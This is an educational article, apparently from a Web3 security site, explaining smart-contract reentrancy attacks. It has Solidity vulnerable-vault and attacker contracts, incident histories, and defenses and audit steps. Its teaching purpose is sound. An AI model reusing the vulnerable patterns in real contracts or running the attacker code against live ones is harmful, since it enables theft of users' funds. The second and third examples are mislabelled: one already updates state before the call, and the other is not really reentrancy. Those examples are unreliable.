Status DataClose notification

What Is a Reentrancy Attack?

TL;DR: A reentrancy attack exploits a smart contract that calls an external contract before finishing its own state update, allowing the external contract to call back into the original function mid-execution and drain funds before any balance check is applied. It's one of the oldest and most destructive vulnerability classes in Web3, formally classified as SWC-107, and best known as the mechanism behind the 2016 DAO hack, which drained 3.6 million ETH.

How Does a Reentrancy Attack Work?

The vulnerability comes down to execution order. In a typical withdrawal function, a contract needs to do three things: check the caller's balance, send the funds, and update the balance to reflect the withdrawal. If the balance update occurs after the funds are sent, there’s a window during which the caller's balance still shows the original amount, even though the funds are already in transit.

Diagram showing how a reentrancy attack works: attacker calls withdraw on vulnerable contract, contract sends ETH, attacker's fallback function re-calls withdraw before balance is updated.

An attacker exploits this by deploying a malicious contract with a fallback function that automatically calls back into the vulnerable contract's withdrawal function the moment it receives ETH. The sequence looks like this:

  1. Attacker calls withdraw() on the vulnerable contract.
  2. The vulnerable contract checks the attacker's balance — it's valid.
  3. The vulnerable contract sends ETH to the attacker's contract.
  4. The attacker's fallback function fires immediately on receiving ETH.
  5. Before the vulnerable contract has updated the balance, the fallback re-calls withdraw().
  6. The balance check passes again — the balance hasn't been updated yet.
  7. More ETH is sent. Steps 4–6 repeat until the contract is drained.

Three conditions make this possible in combination: asynchronous execution (the external call completes before state is updated), shared mutable state (the balance variable is accessible across calls), and an untrusted external call that hands execution control to the attacker's contract.

Reentrancy Attack Example in Solidity

There are several patterns through which reentrancy manifests in smart contracts. The most common:

1. Ether Transfer Reentrancy

The classic pattern — a vulnerable withdrawal function sends ETH before updating the caller's balance.

Vulnerable contract:

// VULNERABLE — do not use
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        // Funds sent BEFORE balance is updated — the critical flaw
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0; // Too late — attacker already re-entered
    }
}

Attacker contract:

contract Attacker {
    VulnerableVault public target;

    constructor(address _target) {
        target = VulnerableVault(_target);
    }

    // Called automatically every time this contract receives ETH
    receive() external payable {
        if (address(target).balance >= 1 ether) {
            target.withdraw(); // Re-enter before balance is updated
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        target.deposit{value: 1 ether}();
        target.withdraw();
    }
}

The attacker deposits 1 ETH legitimately, then calls withdraw(). Every time the vault sends ETH to the attacker contract, the receive() function triggers another withdraw() before the balance is ever set to zero, repeating until the vault is empty.

2. Untrusted External Calls Reentrancy

Here, the vulnerable contract makes an external call to msg.sender without controlling the flow. The Attacker contract calls withdraw() with a large amount, causing the Vulnerable contract to call back into the attacker's contract and enabling reentrancy through the untrusted external interaction.

// VULNERABLE — do not use
pragma solidity ^0.8.0;
contract Vulnerable {
    mapping(address => uint256) public balances;

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] -= amount;
        // External call before state is fully settled — reentrancy possible
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

contract Attacker {
    Vulnerable public vulnerableContract;

    constructor(address _vulnerableContract) {
        vulnerableContract = Vulnerable(_vulnerableContract);
    }

    function attack() external payable {
        vulnerableContract.withdraw(msg.value);
    }

    receive() external payable {
        // Continuously trigger the vulnerable contract's withdraw function
        vulnerableContract.withdraw(msg.value);
    }
}

3. Callback Reentrancy

A subtler pattern where the vulnerable contract relies on a callback function in an external contract to execute logic. The attacker implements that callback to manipulate the vulnerable contract's state. In this case, setting locked to false and calling doSomething() to disrupt the contract's intended behavior.

pragma solidity ^0.8.0;

interface IExternalContract {
    function callback() external;
}

contract Vulnerable {
    bool public locked;

    function setLocked(bool _locked) external {
        locked = _locked;
    }

    function doSomething() external {
        require(!locked, "Contract is locked");
        // Perform some actions
    }

    function triggerCallback(address _externalContract) external {
        IExternalContract externalContract = IExternalContract(_externalContract);
        externalContract.callback();
    }
}

contract Attacker is IExternalContract {
    Vulnerable public vulnerableContract;

    constructor(address _vulnerableContract) {
        vulnerableContract = Vulnerable(_vulnerableContract);
    }

    function callback() external override {
        vulnerableContract.setLocked(false);
        vulnerableContract.doSomething();
    }

    function attack() external {
        vulnerableContract.triggerCallback(address(this));
    }
}

Real-World Reentrancy Attacks

The 2016 DAO Hack remains the defining reentrancy incident. Approximately 3.6 million ETH was drained through exactly the Ether Transfer pattern described above, exploiting a withdrawal function that sent funds before updating balances. The impact was severe enough to split the Ethereum community, resulting in the hard fork that created the ETH/ETC split that persists today.

The dForce Protocol Breach (2023) demonstrated a more sophisticated variant: read-only reentrancy combined with flash loans. The attacker introduced flash-loaned funds into the system and withdrew their deposit, leveraging a reentrancy vulnerability in the code used to access price oracles when interacting with Curve on Arbitrum and Optimism. During the withdrawal, the attacker manipulated the apparent virtual asset price and orchestrated the liquidation of positions held by other users in the wstETH/ETH pool, resulting in approximately $3.6 million in losses. The same read-only reentrancy pattern had previously been exploited against Curve pools used by Midas Capital and Market.xyz. Notably, this incident ended with the attacker returning all funds after the dForce team formally requested restitution.

How to Prevent a Reentrancy Attack?

There are three established patterns for closing this vulnerability:

1. Checks-Effects-Interactions (CEI) Pattern

The most fundamental fix: always update state before making any external call. In the example above, that means zeroing the balance before sending ETH, not after.

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "Nothing to withdraw");

    balances[msg.sender] = 0; // State updated FIRST
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

2. Reentrancy Guard (Mutex)

A lock that prevents a function from being called again while it's still executing. OpenZeppelin's ReentrancyGuard is the standard implementation:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");
        balances[msg.sender] = 0;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

3. Pull-over-Push Pattern

Instead of pushing ETH directly to the caller (which hands control to their contract), let callers pull funds themselves via a separate claim step. This eliminates the re-entry opportunity since no external call happens during the core logic.

In practice, mature contracts typically apply CEI and a reentrancy guard together: CEI as the primary defense, and the guard as a safety net for complex interactions where the execution order is harder to reason about cleanly.

How to Detect Reentrancy Vulnerabilities

For security researchers auditing smart contracts for SWC-107 (reentrancy), a structured approach:

  1. Apply the CEI template as a diagnostic. Review whether functions follow Checks → Effects → Interactions order. Any delay between state changes and external interactions is a potential reentrancy vector.
  2. Check for security modifiers. Verify the correct application of modifiers that impose conditions before executing functions — missing or misapplied modifiers are a common source of reentrancy exposure.
  3. Focus on external call surfaces. Identify critical functions exposed to external calls and validate whether the contract can interact with untrusted addresses through those functions.
  4. Evaluate withdrawal schemes. If withdrawals are implemented as automatic transfers to external addresses rather than pull-based claims, reentrancy risk is elevated.
  5. Look for missing mutex locks. Without a reentrancy guard, there's no protection against multiple calls to the same function by the same user before the previous call has completed.
  6. Run static analysis tools. Slither and similar analyzers flag common reentrancy patterns efficiently. Note that cross-contract and read-only variants can evade automated detection. Manual review remains necessary for complex protocols.

Conclusion

Reentrancy is a well-understood, well-documented vulnerability class, which makes it a preventable one. CEI ordering and reentrancy guards are both mature, widely available tools. The contracts that still get exploited for reentrancy are almost always ones that weren't audited against it, or where a code change introduced the flaw after an initial review. That's exactly the gap that ongoing security testing and a community of researchers actively looking for what automated tools miss is built to close.